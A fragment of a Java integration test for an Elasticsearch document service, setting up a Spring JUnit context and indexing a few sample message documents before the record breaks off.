import eu.luminis.elastic.IndexDocumentHelper; import eu.luminis.elastic.SingleClusterRestClientConfig; import eu.luminis.elastic.TestConfig; import eu.luminis.elastic.document.helpers.MessageEntity; import eu.luminis.elastic.document.helpers.MessageEntityByIdTypeReference; import eu.luminis.elastic.index.IndexService; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import static eu.luminis.elastic.SingleClusterRestClientFactoryBean.DEFAULT_CLUSTER_NAME; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail;
package eu.luminis.elastic.document; @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration(classes = {SingleClusterRestClientConfig.class, TestConfig.class}) public class DocumentServiceIT { private static final String INDEX = "inttests"; private static final String TYPE = "inttest"; private static final String EXISTING_ID_1 = "1"; private static final String EXISTING_ID_1_MESSAGE = "This is a message"; @Autowired private SingleClusterDocumentService documentService; @Autowired private IndexService indexService; @Autowired private IndexDocumentHelper indexDocumentHelper; @Before public void setUp() { indexDocumentHelper.indexDocument(INDEX, TYPE, EXISTING_ID_1, EXISTING_ID_1_MESSAGE); indexDocumentHelper.indexDocument(INDEX, TYPE, "elastic_1", "This is a document about elastic"); indexDocumentHelper.indexDocument(INDEX, TYPE, "elastic_2", "Another document about elastic");
indexService.refreshIndexes(DEFAULT_CLUSTER_NAME, INDEX);
6